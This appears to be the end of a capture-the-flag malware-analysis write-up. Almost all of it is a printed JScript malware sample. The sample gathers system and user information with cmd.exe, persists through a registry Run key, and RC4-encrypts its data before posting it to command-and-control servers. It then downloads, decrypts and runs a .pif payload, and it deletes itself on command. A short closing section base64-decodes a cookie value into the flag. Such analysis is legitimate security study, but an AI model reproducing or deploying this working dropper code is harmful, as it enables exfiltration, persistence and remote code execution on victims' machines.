'dir %userprofile%\\Desktop\\*.* >> ',
'tasklist /fi "modules eq wow64.dll" >> ',
'tasklist /fi "modules ne wow64.dll" >> ',
'dir "%programfiles(x86)%" >> ',
'dir "%programfiles%" >> ',
'dir %appdata% >>'
)
var Z6HQ = new ActiveXObject('Scripting.FileSystemObject')
var EBKd = WScript.ScriptName
var Vxiu = ''
var lDd9 = a0rV()
function DGbq(xxNA, j5zO) {
char_set = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
var bzwO = ''
var sW_c = ''
for (var i = 0; i < xxNA.length; ++i) {
var W0Ce = xxNA.charCodeAt(i)
var o_Nk = W0Ce.toString(2)
while (o_Nk.length < (j5zO ? 8 : 16)) {
o_Nk = '0' + o_Nk
}
sW_c += o_Nk
while (sW_c.length >= 6) {
var AaP0 = sW_c.slice(0, 6)
sW_c = sW_c.slice(6)
bzwO += this.char_set.charAt(parseInt(AaP0, 2))
}
}
if (sW_c) {
while (sW_c.length < 6) {
sW_c += '0'
}
bzwO += this.char_set.charAt(parseInt(sW_c, 2))
}
while (bzwO.length % (j5zO ? 4 : 8) != 0) {
bzwO += '='
}
return bzwO
}
var lW6t = []
lW6t.C7 = '80'
lW6t.FC = '81'
lW6t.E9 = '82'
lW6t.E2 = '83'
lW6t.E4 = '84'
lW6t.E0 = '85'
lW6t.E5 = '86'
lW6t.E7 = '87'
lW6t.EA = '88'
lW6t.EB = '89'
lW6t.E8 = '8A'
lW6t.EF = '8B'
lW6t.EE = '8C'
lW6t.EC = '8D'
lW6t.C4 = '8E'
lW6t.C5 = '8F'
lW6t.C9 = '90'
lW6t.E6 = '91'
lW6t.C6 = '92'
lW6t.F4 = '93'
lW6t.F6 = '94'
lW6t.F2 = '95'
lW6t.FB = '96'
lW6t.F9 = '97'
lW6t.FF = '98'
lW6t.D6 = '99'
lW6t.DC = '9A'
lW6t.A2 = '9B'
lW6t.A3 = '9C'
lW6t.A5 = '9D'
lW6t['20A7'] = '9E'
lW6t['192'] = '9F'
lW6t.E1 = 'A0'
lW6t.ED = 'A1'
lW6t.F3 = 'A2'
lW6t.FA = 'A3'
lW6t.F1 = 'A4'
lW6t.D1 = 'A5'
lW6t.AA = 'A6'
lW6t.BA = 'A7'
lW6t.BF = 'A8'
lW6t['2310'] = 'A9'
lW6t.AC = 'AA'
lW6t.BD = 'AB'
lW6t.BC = 'AC'
lW6t.A1 = 'AD'
lW6t.AB = 'AE'
lW6t.BB = 'AF'
lW6t['2591'] = 'B0'
lW6t['2592'] = 'B1'
lW6t['2593'] = 'B2'
lW6t['2502'] = 'B3'
lW6t['2524'] = 'B4'
lW6t['2561'] = 'B5'
lW6t['2562'] = 'B6'
lW6t['2556'] = 'B7'
lW6t['2555'] = 'B8'
lW6t['2563'] = 'B9'
lW6t['2551'] = 'BA'
lW6t['2557'] = 'BB'
lW6t['255D'] = 'BC'
lW6t['255C'] = 'BD'
lW6t['255B'] = 'BE'
lW6t['2510'] = 'BF'
lW6t['2514'] = 'C0'
lW6t['2534'] = 'C1'
lW6t['252C'] = 'C2'
lW6t['251C'] = 'C3'
lW6t['2500'] = 'C4'
lW6t['253C'] = 'C5'
lW6t['255E'] = 'C6'
lW6t['255F'] = 'C7'
lW6t['255A'] = 'C8'
lW6t['2554'] = 'C9'
lW6t['2569'] = 'CA'
lW6t['2566'] = 'CB'
lW6t['2560'] = 'CC'
lW6t['2550'] = 'CD'
lW6t['256C'] = 'CE'
lW6t['2567'] = 'CF'
lW6t['2568'] = 'D0'
lW6t['2564'] = 'D1'
lW6t['2565'] = 'D2'
lW6t['2559'] = 'D3'
lW6t['2558'] = 'D4'
lW6t['2552'] = 'D5'
lW6t['2553'] = 'D6'
lW6t['256B'] = 'D7'
lW6t['256A'] = 'D8'
lW6t['2518'] = 'D9'
lW6t['250C'] = 'DA'
lW6t['2588'] = 'DB'
lW6t['2584'] = 'DC'
lW6t['258C'] = 'DD'
lW6t['2590'] = 'DE'
lW6t['2580'] = 'DF'
lW6t['3B1'] = 'E0'
lW6t.DF = 'E1'
lW6t['393'] = 'E2'
lW6t['3C0'] = 'E3'
lW6t['3A3'] = 'E4'
lW6t['3C3'] = 'E5'
lW6t.B5 = 'E6'
lW6t['3C4'] = 'E7'
lW6t['3A6'] = 'E8'
lW6t['398'] = 'E9'
lW6t['3A9'] = 'EA'
lW6t['3B4'] = 'EB'
lW6t['221E'] = 'EC'
lW6t['3C6'] = 'ED'
lW6t['3B5'] = 'EE'
lW6t['2229'] = 'EF'
lW6t['2261'] = 'F0'
lW6t.B1 = 'F1'
lW6t['2265'] = 'F2'
lW6t['2264'] = 'F3'
lW6t['2320'] = 'F4'
lW6t['2321'] = 'F5'
lW6t.F7 = 'F6'
lW6t['2248'] = 'F7'
lW6t.B0 = 'F8'
lW6t['2219'] = 'F9'
lW6t.B7 = 'FA'
lW6t['221A'] = 'FB'
lW6t['207F'] = 'FC'
lW6t.B2 = 'FD'
lW6t['25A0'] = 'FE'
lW6t.A0 = 'FF'
function a0rV() {
var YrUH = Math.ceil(Math.random() * 10 + 25)
var name = String.fromCharCode(Math.ceil(Math.random() * 24 + 65))
var JKfG = WScript.CreateObject('WScript.Network')
Vxiu = JKfG.UserName
for (var count = 0; count < YrUH; count++) {
switch (Math.ceil(Math.random() * 3)) {
case 1:
name = name + Math.ceil(Math.random() * 8)
break
case 2:
name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 97))
break
default:
name = name + String.fromCharCode(Math.ceil(Math.random() * 24 + 65))
break
}
}
return name
}
var icVh = Jp6A(HAP5())
try {
var CJPE = HAP5()
W6cM()
Syrl()
} catch (e) {
WScript.Quit()
}
function Syrl() {
var m2n0 = xhOC()
while (true) {
for (var i = 0; i < WQuh.length; i++) {
var bx_4 = WQuh[i]
var czlA = V9iU(bx_4, m2n0)
switch (czlA) {
case 'good':
break
case 'exit':
WScript.Quit()
break
case 'work':
eRNv(bx_4)
break
case 'fail':
I7UO()
break
default:
break
}
a0rV()
}
WScript.Sleep((Math.random() * 300 + 3600) * 1000)
}
}
function HAP5() {
var zkDC = this.ActiveXObject
var jVNP = new zkDC('WScript.Shell')
return jVNP
}
function eRNv(caA2) {
var jpVh = icVh + EBKd.substring(0, EBKd.length - 2) + 'pif'
var S47T = new ActiveXObject('MSXML2.XMLHTTP')
S47T.OPEN('post', caA2, false)
S47T.SETREQUESTHEADER(
'user-agent:',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64); ' + he50()
)
S47T.SETREQUESTHEADER('content-type:', 'application/octet-stream')
S47T.SETREQUESTHEADER('content-length:', '4')
S47T.SETREQUESTHEADER(
'Cookie:',
'flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo='
)
S47T.SEND('work')
if (Z6HQ.FILEEXISTS(jpVh)) {
Z6HQ.DELETEFILE(jpVh)
}
if (S47T.STATUS == 200) {
var gfjd = new ActiveXObject('ADODB.STREAM')
gfjd.TYPE = 1
gfjd.OPEN()
gfjd.WRITE(S47T.responseBody)
gfjd.Position = 0
gfjd.Type = 2
gfjd.CharSet = '437'
var j3k6 = gfjd.ReadText(gfjd.Size)
var RAKT = t7Nl('2f532d6baec3d0ec7b1f98aed4774843', l9BJ(j3k6))
Trql(RAKT, jpVh)
gfjd.Close()
}
var lDd9 = a0rV()
nr3z(jpVh, caA2)
WScript.Sleep(30000)
Z6HQ.DELETEFILE(jpVh)
}
function I7UO() {
Z6HQ.DELETEFILE(WScript.SCRIPTFULLNAME)
CJPE.REGDELETE(
'HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\' +
EBKd.substring(0, EBKd.length - 3)
)
WScript.Quit()
}
function V9iU(pxug, tqDX) {
try {
var S47T = new ActiveXObject('MSXML2.XMLHTTP')
S47T.OPEN('post', pxug, false)
S47T.SETREQUESTHEADER(
'user-agent:',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64); ' + he50()
)
S47T.SETREQUESTHEADER('content-type:', 'application/octet-stream')
var SoNI = DGbq(tqDX, true)
S47T.SETREQUESTHEADER('content-length:', SoNI.length)
S47T.SEND(SoNI)
return S47T.responseText
} catch (e) {
return ''
}
}
function he50() {
var wXgO = ''
var JKfG = WScript.CreateObject('WScript.Network')
var SoNI = zIRF + JKfG.ComputerName + Vxiu
for (var i = 0; i < 16; i++) {
var DXHy = 0
for (var j = i; j < SoNI.length - 1; j++) {
DXHy = DXHy ^ SoNI.charCodeAt(j)
}
DXHy = DXHy % 10
wXgO = wXgO + DXHy.toString(10)
}
wXgO = wXgO + zIRF
return wXgO
}
function W6cM() {
v_FileName = icVh + EBKd.substring(0, EBKd.length - 2) + 'js'
Z6HQ.COPYFILE(WScript.ScriptFullName, icVh + EBKd)
var zIqu = (Math.random() * 150 + 350) * 1000
WScript.Sleep(zIqu)
CJPE.REGWRITE(
'HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\' +
EBKd.substring(0, EBKd.length - 3),
'wscript.exe //B ' +
String.fromCharCode(34) +
icVh +
EBKd +
String.fromCharCode(34) +
' NPEfpRZ4aqnh1YuGwQd0',
'REG_SZ'
)
}
function xhOC() {
var U5rJ = icVh + '~dat.tmp'
for (var i = 0; i < LwHA.length; i++) {
CJPE.Run('cmd.exe /c ' + LwHA[i] + '"' + U5rJ + '', 0, true)
}
var jxHd = S7EN(U5rJ)
WScript.Sleep(1000)
Z6HQ.DELETEFILE(U5rJ)
return t7Nl('2f532d6baec3d0ec7b1f98aed4774843', jxHd)
}
function nr3z(jpVh, caA2) {
try {
if (Z6HQ.FILEEXISTS(jpVh)) {
CJPE.Run('"' + jpVh + '"')
}
} catch (e) {
var S47T = new ActiveXObject('MSXML2.XMLHTTP')
S47T.OPEN('post', caA2, false)
S47T.SETREQUESTHEADER(
'user-agent:',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64); ' + he50()
)
S47T.SETREQUESTHEADER('content-type:', 'application/octet-stream')
S47T.SETREQUESTHEADER('content-length:', 'error'.length)
S47T.SEND('error')
return ''
}
}
function poBP(QQDq) {
var L9qj = '0123456789ABCDEF'.substr(QQDq & 15, 1)
while (QQDq > 15) {
QQDq >>>= 4
L9qj = '0123456789ABCDEF'.substr(QQDq & 15, 1) + L9qj
}
return L9qj
}
function JbVq(x4hL) {
return parseInt(x4hL, 16)
}
function l9BJ(Wid9) {
var wXgO = []
var pV8q = Wid9.length
for (var i = 0; i < pV8q; i++) {
var yWql = Wid9.charCodeAt(i)
if (yWql >= 128) {
var h = lW6t['' + poBP(yWql)]
yWql = JbVq(h)
}
wXgO.push(yWql)
}
return wXgO
}
function Trql(EQ4R, K5X0) {
var gfjd = WScript.CreateObject('ADODB.Stream')
gfjd.type = 2
gfjd.Charset = 'iso-8859-1'
gfjd.Open()
gfjd.WriteText(EQ4R)
gfjd.Flush()
gfjd.Position = 0
gfjd.SaveToFile(K5X0, 2)
gfjd.close()
}
function Jp6A(KgOm) {
icVh = 'c:\\Users\\' + Vxiu + '\\AppData\\Local\\Microsoft\\Windows\\'
if (!Z6HQ.FOLDEREXISTS(icVh)) {
icVh = 'c:\\Users\\' + Vxiu + '\\AppData\\Local\\Temp\\'
}
if (!Z6HQ.FOLDEREXISTS(icVh)) {
icVh =
'c:\\Documents and Settings\\' +
Vxiu +
'\\Application Data\\Microsoft\\Windows\\'
}
return icVh
}
function t7Nl(npmb, AIsp) {
var M4tj = []
var KRYr = 0
var FPIW
var wXgO = ''
for (var i = 0; i < 256; i++) {
M4tj[i] = i
}
for (var i = 0; i < 256; i++) {
KRYr = (KRYr + M4tj[i] + npmb.charCodeAt(i % npmb.length)) % 256
FPIW = M4tj[i]
M4tj[i] = M4tj[KRYr]
M4tj[KRYr] = FPIW
}
var i = 0
var KRYr = 0
for (var y = 0; y < AIsp.length; y++) {
i = (i + 1) % 256
KRYr = (KRYr + M4tj[i]) % 256
FPIW = M4tj[i]
M4tj[i] = M4tj[KRYr]
M4tj[KRYr] = FPIW
wXgO += String.fromCharCode(AIsp[y] ^ M4tj[(M4tj[i] + M4tj[KRYr]) % 256])
}
return wXgO
}
The script does a lot, briefly looking over it I noticed something interesting:
S47T.SETREQUESTHEADER(
'Cookie:',
'flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo='
)
└─$ echo 'SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=' | base64 -d
HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}
Flag: HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}
Last updated